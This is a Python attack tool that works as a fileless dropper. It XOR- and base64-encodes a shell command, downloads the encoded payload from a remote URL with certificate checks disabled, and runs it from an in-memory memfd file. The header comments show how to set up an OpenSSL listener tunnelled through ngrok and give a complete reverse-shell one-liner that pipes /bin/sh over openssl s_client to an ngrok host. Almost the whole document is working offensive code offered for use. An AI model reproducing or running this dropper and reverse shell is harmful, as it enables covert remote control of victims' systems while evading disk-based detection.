memfd_rssl_shell.py

#!/usr/bin/env python3
# memfd_rssl_shell.py
# dualfade

# memfd reverse shell over ssl --
# inspired by; https://0x00sec.org/t/super-stealthy-droppers/3715 --

# ex: server side --
# openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
# openssl s_server -quiet -key server.key -cert server.pem -port 8443
# ngrok tcp 8443

# ex: gen payload; host it someplace; call it --
# python memfd_rssl_shell.py -g 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 6.tcp.ngrok.io:14311 > /tmp/s; rm /tmp/s'
# python memfd_rssl_shell.py --help

#NOTE: about this script --
# this script does not require any extra librarary functionality,
# it only uses core python modules --

import os
import sys
import base64
import string
import random
import requests
import logging
from optparse import OptionParser

# Suppress SSL warnings --
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# logging --
logger = logging.basicConfig(format='%(asctime)s - %(message)s',
                    datefmt='%d-%b-%y %H:%M:%S',
                    level=logging.INFO)

# class --
class Crypt:
    """ generate base64; xor encoded payload to server from remote
        hosted site. class; encrypt and decrypt functions.

        gtfo openssl -> https://bit.ly/3VfxrhZ -- """

    def __init__(self, data, xorkey):
        self.data = data
        self.xorkey = xorkey

    def do_encrypt(self):
        """ xor encoded base64 payload; return -- """

        xor_payload = ''.join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(self.data,self.xorkey)])
        payload = base64.urlsafe_b64encode(xor_payload.encode())
        return payload

    def do_decrypt(self):
        """ xor decoded base64 payload; return -- """

        decode = base64.urlsafe_b64decode(self.data).decode()
        payload = ''.join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(decode,self.xorkey)])

        # ret --
        return payload

# funcs --
def memfd(data):
    """ memfd_create symbolic link /proc/self/fd/; return handler and write
    the payload too it; decrypt and exec.

    python lib -> https://bit.ly/3gthWV5;
    syscalls/syscall_64.tbl -> https://bit.ly/2HGJWAQ -- """

    name = ''

    try:
        s = os.memfd_create(name, flags=os.MFD_CLOEXEC)
        fd = ''.join(['/proc/self/fd/', str(s)])
        logging.info('fd => %s', fd)

        with open (fd, 'w+') as f:
            f.write(data)

        # read; popen ghetto exec --
        with open (fd) as r:
            shell = r.read()
            os.popen(shell)

    except IOError as e:
        logging.error(e)

def rand_xorkey(n: int) -> str:
    """ generate a random xor key based off length
    of the initial payload -- """

    xorkey = ''.join(random.choices(string.ascii_uppercase + string.digits, k=n))

    # ret --
    return xorkey

def do_request(url):
    """ do https request; get payload and decode into memfd -- """

    # headers --
    headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0", \
            "Content-Type": "application/x-www-form-urlencoded", \
            "X-Requested-With": "XMLHttpRequest"
            }

    try:
        # request --
        session = requests.session()
        r = session.get(url, headers=headers, verify=False)

        # ret --
        return r.text

    except ConnectionError as e:
        logging.error(e)

def error(err):
    """ log error function -- """

    logging.error('[err] application error %s' % err)
    logging.error('[err] exiting now.')
    sys.exit(-1)

# main --
if __name__ == "__main__":
    """ start main funcs -- """

    try:
        parser = OptionParser()
        parser.add_option('-g', '--generate', dest='generate', help='generate encoded payload')
        parser.add_option('-u', '--url', dest='url', help='url hosting encoded payload')
        parser.add_option('-k', '--key', dest='key', help='xor key value')
        (options, args) = parser.parse_args()

        # generate payload --
        if (options.generate):
            # generate random key --
            xorkey = rand_xorkey(len(options.generate))
            logging.info('random key => %s', xorkey)

            # xor encrypt; b64encode --
            encrypt = Crypt(options.generate, xorkey)
            e = encrypt.do_encrypt()
            logging.info('encoded => %s', e.decode())

            # stdout decode --
            d = Crypt(e, xorkey)
            decrypt = d.do_decrypt()
            logging.info('decoded => %s', decrypt)

        if (options.url):
            # fetch payload --
            r = do_request(options.url)
            logging.info('payload => %s', r)

            # stdout decode --
            d = Crypt(r, options.key)
            decrypt = d.do_decrypt()
            logging.info('decoded => %s', decrypt)

            # memfd_create; write; exec --
            memfd(decrypt)

    # catch; log errors --
    except KeyboardInterrupt:
        logging.error("Keyboard interrupt")

    except Exception as err:
        error(err)

    except SystemExit:
        sys.stdout.write("\n")
        sys.stdout.flush()

#__eof__